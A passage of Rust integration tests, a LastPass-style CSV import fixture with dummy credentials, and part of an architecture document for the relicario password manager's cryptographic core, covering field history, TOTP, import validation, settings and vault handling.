let v = TestVault::init();
v.run(&["add", "login", "--title", "bank",
"--username", "u", "--password", "first-pw"]);
let out = run_edit_with_pw_change(&v, "bank", "second-pw");
assert!(out.status.success(), "edit failed: {:?}", out);
// `history <query>` should list the captured field and a count.
let out = v.run(&["history", "bank"]);
assert!(
out.status.success(),
"history failed:\nstdout: {}\nstderr: {}",
String::from_utf8_lossy(&out.stdout),
String::from_utf8_lossy(&out.stderr),
);
let stdout = String::from_utf8(out.stdout).unwrap();
assert!(
stdout.contains("login_password"),
"expected login_password key, got: {stdout}"
);
// Default (no --show) hides values.
assert!(
!stdout.contains("first-pw"),
"values should be masked without --show: {stdout}"
);
assert!(
stdout.contains("****"),
"expected masked value indicator: {stdout}"
);
}
#[test]
fn history_command_show_reveals_prior_values() {
let v = TestVault::init();
v.run(&["add", "login", "--title", "bank",
"--username", "u", "--password", "first-pw"]);
let out = run_edit_with_pw_change(&v, "bank", "second-pw");
assert!(out.status.success());
let out = v.run(&["history", "bank", "--show"]);
assert!(out.status.success(), "history --show failed: {:?}", out);
let stdout = String::from_utf8(out.stdout).unwrap();
assert!(
stdout.contains("first-pw"),
"expected old value 'first-pw' in --show output: {stdout}"
);
}
#[test]
fn history_command_reports_empty_when_nothing_changed() {
let v = TestVault::init();
v.run(&["add", "login", "--title", "untouched",
"--username", "u", "--password", "pw"]);
let out = v.run(&["history", "untouched"]);
assert!(out.status.success(), "history failed: {:?}", out);
let stdout = String::from_utf8(out.stdout).unwrap();
assert!(
stdout.to_lowercase().contains("no history"),
"expected 'no history' message, got: {stdout}"
);
}
#[test]
fn edit_totp_rotates_secret_and_captures_history() {
let v = TestVault::init();
v.run(&[
"add", "totp",
"--title", "github",
"--issuer", "github.com",
"--label", "alice",
"--secret", "JBSWY3DPEHPK3PXP",
]);
// Edit: change issuer, label, then rotate the secret to a new base32 value.
let out = run_edit_totp(&v, "github", "github-new.com", "alice@new", "NB2W45DFOIZA");
assert!(
out.status.success(),
"edit failed:\nstdout: {}\nstderr: {}",
String::from_utf8_lossy(&out.stdout),
String::from_utf8_lossy(&out.stderr)
);
// Verify the issuer and label changes persisted by reading the item back.
let out = v.run(&["get", "github"]);
assert!(out.status.success(), "get failed: {:?}", out);
let stdout = String::from_utf8(out.stdout).unwrap();
assert!(
stdout.contains("github-new.com"),
"expected new issuer in get output, got: {stdout}"
);
assert!(
stdout.contains("alice@new"),
"expected new label in get output, got: {stdout}"
);
}
/// Drives the interactive `edit` flow for a TOTP item with secret rotation.
/// Stdin order: Title, Group, Tags (all blank to keep), Issuer, Label,
/// then "y" to "Change TOTP secret?" The new secret comes from
/// RELICARIO_TEST_ITEM_SECRET.
fn run_edit_totp(
v: &TestVault,
query: &str,
new_issuer: &str,
new_label: &str,
new_secret_b32: &str,
) -> std::process::Output {
use assert_cmd::cargo::CommandCargoExt;
use std::io::Write;
use std::process::{Command, Stdio};
let mut cmd = Command::cargo_bin("relicario").unwrap();
cmd.current_dir(v.path())
.env("RELICARIO_IMAGE", &v.reference_image)
.env("RELICARIO_TEST_PASSPHRASE", &v.passphrase)
.env("RELICARIO_TEST_ITEM_SECRET", new_secret_b32)
.args(["edit", query])
.stdin(Stdio::piped())
.stdout(Stdio::piped())
.stderr(Stdio::piped());
let mut child = cmd.spawn().unwrap();
{
let stdin = child.stdin.as_mut().unwrap();
for line in ["", "", "", new_issuer, new_label, "y"] {
writeln!(stdin, "{line}").unwrap();
}
}
child.wait_with_output().unwrap()
}

View File

@@ -0,0 +1,17 @@
url,username,password,totp,extra,name,grouping,fav
https://github.com/login,alice@example.com,hunter2-strong,GEZDGNBVGY3TQOJQGEZDGNBVGY3TQOJQ,One-time URL: https://github.com/recover,GitHub,Work,1
https://gmail.com,bob@example.com,p@ssw0rd-2026,,,Gmail,Personal,
https://news.ycombinator.com,charlie,hn-secret,,,Hacker News,,
https://aws.console,d-user,aws-pass,!!!not-base32!!!,,AWS,Work,
http://sn,,,,Wifi password: hunter2hunter2,Home Wifi,Personal,
http://sn,,,,"NoteType:Credit Card
Number:4111111111111111
Expiry:01/2030
CVV:123",Visa Card,Personal,
https://日本語.example,user,pass,,,日本語サイト,,
not-a-real-url,user,pass,,,Bad URL,,
,,,,,,,
https://x,user,,,,No Password,,
https://example.com,user,p,,"multi
line
notes",Multiline,,
1 url username password totp extra name grouping fav
2 https://github.com/login alice@example.com hunter2-strong GEZDGNBVGY3TQOJQGEZDGNBVGY3TQOJQ One-time URL: https://github.com/recover GitHub Work 1
3 https://gmail.com bob@example.com p@ssw0rd-2026 Gmail Personal
4 https://news.ycombinator.com charlie hn-secret Hacker News
5 https://aws.console d-user aws-pass !!!not-base32!!! AWS Work
6 http://sn Wifi password: hunter2hunter2 Home Wifi Personal
7 http://sn NoteType:Credit Card Number:4111111111111111 Expiry:01/2030 CVV:123 Visa Card Personal
8 https://日本語.example user pass 日本語サイト
9 not-a-real-url user pass Bad URL
10
11 https://x user No Password
12 https://example.com user p multi line notes Multiline

View File

@@ -0,0 +1,127 @@
mod common;
use common::TestVault;
const FIXTURE: &str = "tests/fixtures/lastpass-sample.csv";
fn fixture_path() -> std::path::PathBuf {
// Manifest dir = crates/relicario-cli; the fixture is relative to it.
std::path::PathBuf::from(env!("CARGO_MANIFEST_DIR")).join(FIXTURE)
}
#[test]
fn imports_logins_secure_notes_and_warns_on_skipped() {
let v = TestVault::init();
let out = v.run(&["import", "lastpass", fixture_path().to_str().unwrap()]);
assert!(
out.status.success(),
"import failed:\nstdout: {}\nstderr: {}",
String::from_utf8_lossy(&out.stdout),
String::from_utf8_lossy(&out.stderr),
);
let stderr = String::from_utf8(out.stderr).unwrap();
// 9 items expected (see fixture comment).
assert!(stderr.contains("Imported 9"), "stderr: {stderr}");
assert!(stderr.contains("skipped 2"), "stderr: {stderr}");
// Each warning surfaces.
assert!(stderr.contains("invalid base32 TOTP"), "TOTP warning missing");
assert!(stderr.contains("invalid URL"), "URL warning missing");
assert!(stderr.contains("missing `name`"), "name-missing warning missing");
assert!(stderr.contains("missing `password`"), "password-missing warning missing");
}
#[test]
fn list_after_import_shows_imported_titles() {
let v = TestVault::init();
v.run(&["import", "lastpass", fixture_path().to_str().unwrap()]);
let out = v.run(&["list"]);
let stdout = String::from_utf8(out.stdout).unwrap();
assert!(stdout.contains("GitHub"));
assert!(stdout.contains("Gmail"));
assert!(stdout.contains("Home Wifi"));
assert!(stdout.contains("Visa Card"));
assert!(stdout.contains("日本語サイト"));
// Skipped rows must NOT appear.
assert!(!stdout.contains("No Password"),
"row with no password should have been skipped");
}
#[test]
fn import_creates_a_single_git_commit() {
let v = TestVault::init();
// Count commits before.
let before = std::process::Command::new("git")
.arg("-C").arg(v.path())
.args(["rev-list", "--count", "HEAD"])
.output().unwrap();
let before_n: u32 = String::from_utf8(before.stdout).unwrap().trim().parse().unwrap();
v.run(&["import", "lastpass", fixture_path().to_str().unwrap()]);
let after = std::process::Command::new("git")
.arg("-C").arg(v.path())
.args(["rev-list", "--count", "HEAD"])
.output().unwrap();
let after_n: u32 = String::from_utf8(after.stdout).unwrap().trim().parse().unwrap();
assert_eq!(after_n, before_n + 1, "expected exactly one new commit");
// Commit message includes the count + "LastPass".
let log = std::process::Command::new("git")
.arg("-C").arg(v.path())
.args(["log", "-1", "--pretty=%s"])
.output().unwrap();
let subject = String::from_utf8(log.stdout).unwrap();
assert!(subject.contains("9 items"));
assert!(subject.contains("LastPass"));
}
#[test]
fn import_with_zero_items_exits_nonzero() {
let v = TestVault::init();
// Header-only CSV with one bad row → 0 items.
let bad_csv = v.path().join("empty.csv");
std::fs::write(
&bad_csv,
"url,username,password,totp,extra,name,grouping,fav\n,,,,,,,\n",
).unwrap();
let out = v.run(&["import", "lastpass", bad_csv.to_str().unwrap()]);
assert!(!out.status.success(), "expected non-zero exit on zero items");
let stderr = String::from_utf8(out.stderr).unwrap();
assert!(stderr.contains("imported 0 items"), "stderr: {stderr}");
}
#[test]
fn import_rejects_unrecognized_header() {
let v = TestVault::init();
let bad_csv = v.path().join("wrong.csv");
std::fs::write(&bad_csv, "name,url,user,pass\nA,https://x,u,p\n").unwrap();
let out = v.run(&["import", "lastpass", bad_csv.to_str().unwrap()]);
assert!(!out.status.success());
let stderr = String::from_utf8(out.stderr).unwrap();
assert!(
stderr.contains("LastPass") || stderr.contains("expected"),
"stderr: {stderr}",
);
}
#[test]
fn imported_items_keep_unique_ids_across_runs() {
// Decision D12: two imports of the same CSV must not collide.
let v = TestVault::init();
v.run(&["import", "lastpass", fixture_path().to_str().unwrap()]);
v.run(&["import", "lastpass", fixture_path().to_str().unwrap()]);
let out = v.run(&["list"]);
let stdout = String::from_utf8(out.stdout).unwrap();
// Each title imported twice — count occurrences of "GitHub" must be 2.
let github_count = stdout.matches("GitHub").count();
assert_eq!(github_count, 2, "stdout: {stdout}");
}

View File

@@ -0,0 +1,158 @@
mod common;
use common::TestVault;
#[test]
fn settings_roundtrip_trash_retention() {
let v = TestVault::init();
let out = v.run(&["settings", "show"]);
assert!(String::from_utf8(out.stdout).unwrap().contains("trash_retention"));
let out = v.run(&["settings", "trash-retention", "--days", "60"]);
assert!(out.status.success(), "set failed: {:?}", out);
let out = v.run(&["settings", "show"]);
let stdout = String::from_utf8(out.stdout).unwrap();
assert!(stdout.contains("60"), "expected 60: {stdout}");
}
#[test]
fn settings_rejects_conflicting_retention_flags() {
let v = TestVault::init();
let out = v.run(&["settings", "trash-retention", "--days", "30", "--forever"]);
assert!(!out.status.success());
}
#[test]
fn generate_uses_vault_default_length() {
let v = TestVault::init();
// Default vault settings: GeneratorRequest::Random { length: 20, ... }.
let out = v.run(&["generate"]);
assert!(out.status.success(), "{:?}", String::from_utf8_lossy(&out.stderr));
let pw = String::from_utf8(out.stdout).unwrap();
assert_eq!(
pw.trim().chars().count(),
20,
"expected 20 chars at default, got {pw:?}"
);
// Update the vault default length to 32.
let out = v.run(&["settings", "generator-defaults", "--length", "32"]);
assert!(
out.status.success(),
"set generator-defaults failed: {}",
String::from_utf8_lossy(&out.stderr)
);
// `generate` (no flags) should now produce 32 chars.
let out = v.run(&["generate"]);
assert!(out.status.success(), "{:?}", String::from_utf8_lossy(&out.stderr));
let pw = String::from_utf8(out.stdout).unwrap();
assert_eq!(
pw.trim().chars().count(),
32,
"expected 32 chars after update, got {pw:?}"
);
// Explicit flag overrides the vault default.
let out = v.run(&["generate", "--length", "8"]);
assert!(out.status.success());
let pw = String::from_utf8(out.stdout).unwrap();
assert_eq!(
pw.trim().chars().count(),
8,
"explicit flag should override vault default, got {pw:?}"
);
}
#[test]
fn status_reports_item_and_attachment_counts() {
let v = TestVault::init();
v.run(&["add", "login", "--title", "active",
"--username", "u", "--password", "p"]);
v.run(&["add", "login", "--title", "to-trash",
"--username", "u", "--password", "p"]);
v.run(&["rm", "to-trash"]);
let payload = v.path().join("payload.txt");
std::fs::write(&payload, b"hello-world").unwrap();
v.run(&["attach", "active", payload.to_str().unwrap()]);
let out = v.run(&["status"]);
assert!(
out.status.success(),
"status failed:\nstdout: {}\nstderr: {}",
String::from_utf8_lossy(&out.stdout),
String::from_utf8_lossy(&out.stderr),
);
let stdout = String::from_utf8(out.stdout).unwrap();
let lower = stdout.to_lowercase();
// 1 active + 1 trashed = 2 items total.
assert!(lower.contains("items"), "missing items section: {stdout}");
assert!(stdout.contains('2') || stdout.contains("2 ")
|| lower.contains("active: 1") || lower.contains("1 active"),
"expected item counts in output: {stdout}");
assert!(lower.contains("trash"), "missing trash count: {stdout}");
// 1 attachment, 11 bytes.
assert!(lower.contains("attachment"), "missing attachment section: {stdout}");
assert!(stdout.contains("11"), "expected 11-byte size in output: {stdout}");
// device count line removed — device key system was security theater (audit B1).
// Last-commit line.
assert!(
lower.contains("last commit") || lower.contains("commit"),
"missing last-commit info: {stdout}",
);
}
#[test]
fn status_shows_last_backup_line() {
let v = TestVault::init();
let out = v.run(&["status"]);
assert!(out.status.success());
let stdout = String::from_utf8(out.stdout).unwrap();
assert!(stdout.contains("Last export:"), "missing last export line: {stdout}");
assert!(stdout.contains("never"), "fresh vault should report 'never': {stdout}");
}
#[test]
fn status_shows_recent_backup_after_export() {
let v = TestVault::init();
let backup_path = v.path().join("v.relbak");
v.run_with_backup_pass(
&["backup", "export", backup_path.to_str().unwrap()],
"test-backup-pass-2026",
);
let out = v.run(&["status"]);
let stdout = String::from_utf8(out.stdout).unwrap();
assert!(stdout.contains("Last export:"), "{stdout}");
assert!(!stdout.contains("never"), "should NOT say 'never' after export: {stdout}");
}
#[test]
fn generate_works_outside_vault() {
use assert_cmd::cargo::CommandCargoExt;
use std::process::{Command, Stdio};
use tempfile::TempDir;
let tmp = TempDir::new().unwrap();
let out = Command::cargo_bin("relicario")
.unwrap()
.current_dir(tmp.path())
.args(["generate", "--length", "12"])
.stdin(Stdio::null())
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.output()
.unwrap();
assert!(
out.status.success(),
"no-vault generate failed: {}",
String::from_utf8_lossy(&out.stderr)
);
let pw = String::from_utf8(out.stdout).unwrap();
assert_eq!(pw.trim().chars().count(), 12);
}

View File

@@ -0,0 +1,210 @@
mod common;
use assert_cmd::Command;
use predicates::prelude::PredicateBooleanExt;
use predicates::str::contains;
#[test]
fn completions_bash_emits_script() {
Command::cargo_bin("relicario").unwrap()
.args(["completions", "bash"])
.assert()
.success()
.stdout(contains("_relicario"))
.stdout(contains("complete -F"));
}
#[test]
fn completions_zsh_emits_script() {
Command::cargo_bin("relicario").unwrap()
.args(["completions", "zsh"])
.assert()
.success()
.stdout(contains("#compdef relicario"));
}
#[test]
fn completions_fish_emits_script() {
Command::cargo_bin("relicario").unwrap()
.args(["completions", "fish"])
.assert()
.success()
.stdout(contains("complete -c relicario"));
}
#[test]
fn list_command_refreshes_groups_cache() {
let v = common::TestVault::init();
let out = v.run(&[
"add", "login",
"--title", "T",
"--username", "u",
"--group", "work",
"--password", "hunter2",
]);
assert!(out.status.success(), "add failed: {:?}", out);
let out = v.run(&["list"]);
assert!(out.status.success(), "list failed: {:?}", out);
let cache_path = v.path().join(".relicario/groups.cache");
let cache = std::fs::read_to_string(&cache_path)
.unwrap_or_else(|e| panic!("groups.cache not found at {}: {e}", cache_path.display()));
assert!(
cache.lines().any(|l| l == "work"),
"expected 'work' in groups.cache, got: {cache:?}"
);
}
#[test]
fn no_groups_cache_env_var_suppresses_write() {
use std::process::{Command as StdCommand, Stdio};
use assert_cmd::cargo::CommandCargoExt as _;
let v = common::TestVault::init();
// Add with the env var set so no cache is created by add either.
let out = StdCommand::cargo_bin("relicario").unwrap()
.current_dir(v.path())
.env("RELICARIO_IMAGE", &v.reference_image)
.env("RELICARIO_TEST_PASSPHRASE", &v.passphrase)
.env("RELICARIO_NO_GROUPS_CACHE", "1")
.args([
"add", "login",
"--title", "T2",
"--username", "u",
"--group", "personal",
"--password", "hunter2",
])
.stdin(Stdio::null())
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.output()
.unwrap();
assert!(out.status.success(), "add failed: {:?}", out);
// Run list with RELICARIO_NO_GROUPS_CACHE=1 — cache must NOT be written.
let out = StdCommand::cargo_bin("relicario").unwrap()
.current_dir(v.path())
.env("RELICARIO_IMAGE", &v.reference_image)
.env("RELICARIO_TEST_PASSPHRASE", &v.passphrase)
.env("RELICARIO_NO_GROUPS_CACHE", "1")
.args(["list"])
.stdin(Stdio::null())
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.output()
.unwrap();
assert!(out.status.success(), "list failed: {:?}", out);
let cache_path = v.path().join(".relicario/groups.cache");
assert!(
!cache_path.exists(),
"groups.cache should not exist when RELICARIO_NO_GROUPS_CACHE=1"
);
}
#[test]
fn rate_strong_passphrase_prints_score_and_guesses() {
Command::cargo_bin("relicario").unwrap()
.args(["rate", "correct horse battery staple table cocoa rocket spirit ferment"])
.assert()
.success()
.stdout(contains("score:"))
.stdout(contains("guesses:"))
.stdout(contains("strong"));
}
#[test]
fn rate_weak_passphrase_exits_zero_with_weak_label() {
// `rate` is informational — does NOT exit nonzero on weak input.
// The hard gate lives at `init` (Plan 2B Task 10).
Command::cargo_bin("relicario").unwrap()
.args(["rate", "password"])
.assert()
.success()
.stdout(contains("very weak").or(contains("weak")));
}
#[test]
fn rate_reads_from_stdin_when_arg_is_dash() {
Command::cargo_bin("relicario").unwrap()
.args(["rate", "-"])
.write_stdin("correcthorsebatterystaple\n")
.assert()
.success()
.stdout(contains("score:"));
}
fn make_test_qr(uri: &str, dest: &std::path::Path) {
use image::{ImageBuffer, Luma};
let code = qrcode::QrCode::new(uri).expect("QR encode failed");
let img: ImageBuffer<Luma<u8>, Vec<u8>> = code
.render::<Luma<u8>>()
.module_dimensions(8, 8)
.build();
img.save(dest).expect("save QR PNG");
}
#[test]
fn add_login_totp_qr_decodes_otpauth_uri() {
use tempfile::TempDir;
let tmp = TempDir::new().unwrap();
let qr_path = tmp.path().join("test.png");
make_test_qr(
"otpauth://totp/Example:alice?secret=JBSWY3DPEHPK3PXP&issuer=Example",
&qr_path,
);
let v = common::TestVault::init();
let out = v.run(&[
"add", "login",
"--title", "TotpTest",
"--password", "hunter2",
"--totp-qr", qr_path.to_str().unwrap(),
]);
assert!(out.status.success(), "add failed:\nstdout: {}\nstderr: {}",
String::from_utf8_lossy(&out.stdout),
String::from_utf8_lossy(&out.stderr));
let out = v.run(&["get", "TotpTest", "--show"]);
assert!(out.status.success(), "get failed:\nstdout: {}\nstderr: {}",
String::from_utf8_lossy(&out.stdout),
String::from_utf8_lossy(&out.stderr));
let stdout = String::from_utf8_lossy(&out.stdout);
// BASE32.encode(BASE32.decode("JBSWY3DPEHPK3PXP")) should round-trip.
// The secret bytes from JBSWY3DPEHPK3PXP decode to specific bytes,
// then re-encode to JBSWY3DPEHPK3PXP====; we check for the core chars.
assert!(
stdout.contains("JBSWY3DPEHPK3PXP"),
"expected TOTP secret in get output, got:\n{stdout}"
);
}
#[test]
fn add_login_totp_qr_errors_on_non_otpauth_qr() {
use tempfile::TempDir;
let tmp = TempDir::new().unwrap();
let qr_path = tmp.path().join("nottotp.png");
make_test_qr("https://example.com", &qr_path);
let v = common::TestVault::init();
let out = v.run(&[
"add", "login",
"--title", "BadQR",
"--password", "hunter2",
"--totp-qr", qr_path.to_str().unwrap(),
]);
assert!(
!out.status.success(),
"expected nonzero exit for non-otpauth QR, but command succeeded"
);
let stderr = String::from_utf8_lossy(&out.stderr);
assert!(
stderr.contains("not a TOTP URI"),
"expected 'not a TOTP URI' in stderr, got:\n{stderr}"
);
}

View File

@@ -0,0 +1,59 @@
mod common;
use assert_cmd::cargo::CommandCargoExt;
use std::process::Command;
use tempfile::TempDir;
#[test]
fn list_refuses_without_vault_marker() {
let dir = TempDir::new().unwrap();
// No .relicario/ in dir — list should bail with a friendly error.
let mut cmd = Command::cargo_bin("relicario").unwrap();
let out = cmd.current_dir(dir.path())
.env("RELICARIO_TEST_PASSPHRASE", "foo")
.arg("list")
.output()
.unwrap();
assert!(!out.status.success());
let stderr = String::from_utf8(out.stderr).unwrap();
assert!(stderr.contains(".relicario"), "expected marker hint: {stderr}");
}
#[test]
fn get_finds_vault_in_parent_dir() {
let v = common::TestVault::init();
v.run(&["add", "login", "--title", "parent-test",
"--username", "u", "--password", "p"]);
// Create a nested subdir and run `list` from inside it.
let nested = v.path().join("a/b/c");
std::fs::create_dir_all(&nested).unwrap();
let mut cmd = Command::cargo_bin("relicario").unwrap();
cmd.current_dir(&nested)
.env("RELICARIO_IMAGE", &v.reference_image)
.env("RELICARIO_TEST_PASSPHRASE", &v.passphrase)
.arg("list");
let out = cmd.output().unwrap();
assert!(out.status.success(), "list from nested dir failed: {:?}", out);
assert!(String::from_utf8(out.stdout).unwrap().contains("parent-test"));
}
#[test]
fn v1_vault_is_rejected_with_clear_error() {
// Synthesize an on-disk v1 vault: .idfoto/ dir with old params.json.
// Since vault_dir detection uses .relicario/, the pre-rename dir name is
// naturally rejected without any compat shim. Confirm that.
let dir = TempDir::new().unwrap();
std::fs::create_dir(dir.path().join(".idfoto")).unwrap();
let mut cmd = Command::cargo_bin("relicario").unwrap();
let out = cmd.current_dir(dir.path())
.env("RELICARIO_TEST_PASSPHRASE", "foo")
.arg("list")
.output()
.unwrap();
assert!(!out.status.success());
let stderr = String::from_utf8(out.stderr).unwrap();
assert!(stderr.contains(".relicario"), "expected relicario marker demand: {stderr}");
}

View File

@@ -0,0 +1,514 @@
# Architecture: relicario-core
## What this crate is for
`relicario-core` is the platform-agnostic cryptographic and data-model heart of the
relicario password manager. It is strictly **bytes-in / bytes-out**: every public
function takes byte slices or owned typed structs and returns byte vectors or typed
structs. The crate performs no filesystem I/O, no network I/O, no git operations,
and no time-of-day reads beyond `chrono::Utc::now()` for timestamping items
(`time.rs:6`). This boundary is what lets the same compiled artifact serve the
native CLI (`relicario-cli`), a `wasm32-unknown-unknown` build embedded in the
Chrome MV3 / Firefox WebExtension popup (`relicario-wasm`), and (eventually) ARM
mobile builds — without conditional compilation. Anything that touches a
`Path`, opens a socket, or shells out belongs in `relicario-cli` or the
extension layer, never here. The historical rationale is in
`docs/superpowers/specs/2026-04-11-relicario-design.md` (sections "Crypto
Pipeline" and "Crate Layout").
## Module map
- **`lib.rs`** — Public API surface. Re-exports the symbols that callers actually
need (`encrypt_item`, `derive_master_key`, `Item`, `ItemCore`, etc.). The
module list here is the contract; everything else is internal.
- **`error.rs`** — `RelicarioError` (a `thiserror`-derived enum) plus the crate
alias `Result<T> = std::result::Result<T, RelicarioError>`. One error type
for the whole crate so FFI / WASM bindings and CLI handlers each have a single
exhaustive `match` to maintain. `Decrypt` is intentionally opaque (no inner
detail string) — see "Cross-cutting concerns".
- **`crypto.rs`** — KDF (`derive_master_key`, Argon2id with NFC-normalized,
length-prefixed inputs) and AEAD (`encrypt`, `decrypt`, XChaCha20-Poly1305
with `VERSION_BYTE = 0x02`). Owns the on-disk ciphertext layout. The KDF
parameters (`KdfParams`) are an owned struct that callers persist however
they like (CLI puts them in `.relicario/params.json`); the crate has no
opinion about storage.
- **`ids.rs`** — `ItemId`, `FieldId` (random 64-bit hex from `OsRng`,
`ids.rs:26-32`, `ids.rs:38-49`) and content-addressed `AttachmentId`
(first 8 bytes of `SHA-256(plaintext)`, `ids.rs:51-57`). Three separate
newtypes rather than `String` so misuses can't compile.
- **`time.rs`** — `now_unix()` and `MonthYear` (the validated 1..=12 / 2000..=2099
card-expiry type). Trivially small; broken out only because every other module
needs `now_unix()` and `MonthYear` is used by both `item.rs` and
`item_types/card.rs`.
- **`item_types/mod.rs`** — `ItemType` enum (snake-case wire tag) and `ItemCore`
(internally tagged `#[serde(tag = "type")]` enum), with one variant per item
type. The "extension via match exhaustiveness" pattern is documented at
`item_types/mod.rs:1-7`: adding an item type is a `cargo check` walk through
every match arm. Re-exports each per-type core.
- **`item_types/login.rs`** — `LoginCore` (username, password as
`Zeroizing<String>`, optional `Url`, optional `TotpConfig`).
- **`item_types/secure_note.rs`** — `SecureNoteCore` (single `Zeroizing<String>`
body).
- **`item_types/identity.rs`** — `IdentityCore` (full name, address, phone,
email, DOB; all optional, none `Zeroizing` — they're personal data, not
secret material).
- **`item_types/card.rs`** — `CardCore` plus `CardKind` (Credit/Debit/Gift/
Loyalty/Other). `number`, `cvv`, `pin` are `Zeroizing`; `holder` is plain
`String`.
- **`item_types/key.rs`** — `KeyCore`: opaque `Zeroizing<String>` `key_material`
with optional label / public key / algorithm. Used for SSH keys, GPG keys,
arbitrary blobs.
- **`item_types/document.rs`** — `DocumentCore`: filename + mime + a single
`AttachmentId` pointing at the primary blob. The body lives in the
attachment store, not the item.
- **`item_types/totp.rs`** — `TotpCore`, `TotpConfig`, `TotpAlgorithm`
(Sha1/Sha256/Sha512), `TotpKind` (Totp / Hotp{counter} / Steam), and the
`compute_totp_code()` function. Includes the Steam Mobile Authenticator
5-character alphabet and its conversion (`item_types/totp.rs:103-110`).
The same `TotpConfig` is reused as a sub-struct of `LoginCore` (so a Login
item can carry its own TOTP without spawning a separate item).
- **`item.rs`** — The `Item` envelope. Holds the parallel `FieldKind` /
`FieldValue` enums (kept parallel so callers can ask the kind without
inspecting the value, `item.rs:1-6`), `Field`, `Section`, `FieldHistoryEntry`,
and the `Item` struct itself with its `set_field_value` / `soft_delete` /
`restore` / `prune_history` mutators. Custom-fields and field-history live
here, not in the per-type cores.
- **`attachment.rs`** — `AttachmentRef` (full record carried on `Item`),
`AttachmentSummary` (compact form carried in `Manifest`),
`EncryptedAttachment`, and the `encrypt_attachment` / `decrypt_attachment`
helpers. The size cap is enforced **before** any crypto work (`attachment.rs:69-74`).
- **`manifest.rs`** — The browse-without-decrypt index: `Manifest`,
`ManifestEntry`, `MANIFEST_SCHEMA_VERSION = 2`. `upsert(&item)` rebuilds the
entry from the item — there is no path for the manifest to drift from the
source-of-truth item file. Includes case-insensitive title/tag search
(`manifest.rs:59-68`) and Login icon-hint derivation (host of the URL,
`manifest.rs:93-99`).
- **`settings.rs`** — `VaultSettings` and its sub-types: `TrashRetention`,
`HistoryRetention`, `GeneratorRequest` (`Random` or `Bip39`),
`AttachmentCaps`, plus the `autofill_origin_acks` map for the extension's
TOFU prompt.
- **`generators.rs`** — Random-password and BIP-39 passphrase generation, both
driven by `GeneratorRequest` from `settings.rs`. zxcvbn-backed
`rate_passphrase` and the `validate_passphrase_strength` gate that rejects
any score < 3.
- **`vault.rs`** — Typed wrappers around `crypto::{encrypt, decrypt}`:
`encrypt_item`/`decrypt_item`, `encrypt_manifest`/`decrypt_manifest`,
`encrypt_settings`/`decrypt_settings`. Each does
`serde_json::to_vec → encrypt` (or the inverse). The plaintext `Vec<u8>` is
wrapped in `Zeroizing` between serde and the cipher
(`vault.rs:18-19`, `vault.rs:24-26`).
- **`imgsecret.rs`** — Self-contained DCT-based steganography for the second
auth factor. Owns its own `YChannel`, `EmbedRegion`, 8×8 DCT/IDCT,
Quantization Index Modulation, and crop-recovery extractor. No other module
imports it; it is consumed only via the public re-export from `lib.rs`.
## Invariants & contracts
- **No filesystem, no network, no git, no spawn.** Verified by inspecting
imports; the only I/O-shaped types in use are in-memory `Cursor<&[u8]>`
for image decoding (`imgsecret.rs:243`).
- **No `unsafe`.** Confirmed by `grep` over `src/`. The crate compiles to WASM
unmodified for that reason.
- **No `async`.** All operations are pure compute on byte slices. Async lives
in `relicario-cli` (process spawning) and in the extension's service worker
(message channels), not here.
- **`VERSION_BYTE = 0x02`** (`crypto.rs:59`). Every blob produced by
`encrypt()` starts with this byte; `decrypt()` rejects any other value with
`RelicarioError::UnsupportedFormatVersion { found, expected }`
(`crypto.rs:127-132`). v1 blobs (the pre-rewrite format) are explicitly
tested for rejection (`tests/format_v2.rs:28-42`).
- **AEAD blob layout** is fixed at `version(1) || nonce(24) || ciphertext+tag(≥16)`
(`crypto.rs:18-32`). Minimum valid blob length is 41 bytes
(`crypto.rs:118-124`).
- **Nonces are always fresh from `OsRng`** (`crypto.rs:87-89`). There is no
caller-supplied nonce path. With 192 bits of randomness, collision risk is
negligible across the lifetime of any vault.
- **`MANIFEST_SCHEMA_VERSION = 2`** (`manifest.rs:12`). v1 manifests (which
predate typed items) are not handled here and are rejected at the JSON-parse
step.
- **KDF input is length-prefixed.** `derive_master_key` builds the password
buffer as `u64_be(len(passphrase)) || passphrase || u64_be(32) || image_secret`
(`crypto.rs:229-236`). This eliminates the (`"abc"`, `0x44…`) vs (`"abcD"`,
`…`) collision, and is exercised in
`crypto.rs:352-368` and `tests/format_v2.rs:44-54`.
- **Passphrases are NFC-normalized before hashing.** Bytes that aren't valid
UTF-8 pass through unchanged (`crypto.rs:223-227`). This keeps "café"
(precomposed) and "café" (combining acute) from producing different keys
(`crypto.rs:370-385`).
- **Master key only ever lives in `Zeroizing<[u8; 32]>`.** Returned that way
by `derive_master_key` (`crypto.rs:212`) and accepted that way by
`encrypt_item` / `encrypt_attachment` / friends. No public function in
`vault.rs` or `attachment.rs` accepts a raw `[u8; 32]`.
- **Plaintext is wrapped in `Zeroizing` between serde and the cipher.** See
`vault.rs:18-19`, `vault.rs:24-26`, `vault.rs:31-32`, `vault.rs:37-38`,
`vault.rs:44-45`, `vault.rs:50-51`. The serde JSON intermediate buffer is the
most exposed point, so it is wiped on drop.
- **`AttachmentId` is content-addressed** to the first 8 bytes (= 16 hex chars)
of `SHA-256(plaintext)` (`ids.rs:51-57`). Identical plaintexts deduplicate
in git automatically — proven in `tests/attachments.rs:28-35`. The 64-bit
prefix is used (rather than the full digest) to keep filenames short; the
collision space is still adequate for the expected vault size.
- **`ItemId` and `FieldId` are 16 hex chars** = 64 bits of `OsRng` entropy
(`ids.rs:25-32`, `ids.rs:38-49`). The audit (M8) bumped them from the
original 8-char / 32-bit format.
- **Field kind/value discriminants must agree.** `Field::new` derives `kind`
from `value` (`item.rs:85-94`); `Field::validate` (called after deserialize)
rejects any mismatch (`item.rs:97-107`). `set_field_value` further refuses
to change a field's kind (`item.rs:184-189`).
- **Field-history capture is restricted to three kinds:** `Password`,
`Concealed`, `Totp` (`item.rs:68-71`). Any other kind's update silently
skips history. The TOTP secret is base32-encoded for the history entry
(`item.rs:245-249`) so a user reading their history sees a recognizable
string.
- **History captures the *previous* value, not the new one** (`item.rs:190-197`):
`set_field_value` serializes `field.value` *before* assigning the new value.
- **`hidden_by_default` is set automatically** when the field's kind is
`Password` or `Concealed` (`item.rs:92`). The extension and CLI both honor
this hint when rendering.
- **Attachment cap is checked before encryption** (`attachment.rs:69-74`).
An oversize blob fails with `RelicarioError::AttachmentTooLarge { size, max }`
without ever calling `encrypt`. The CLI/extension are expected to read the
cap from `VaultSettings::attachment_caps`.
- **`Item::soft_delete` does not erase data.** It sets `trashed_at` and bumps
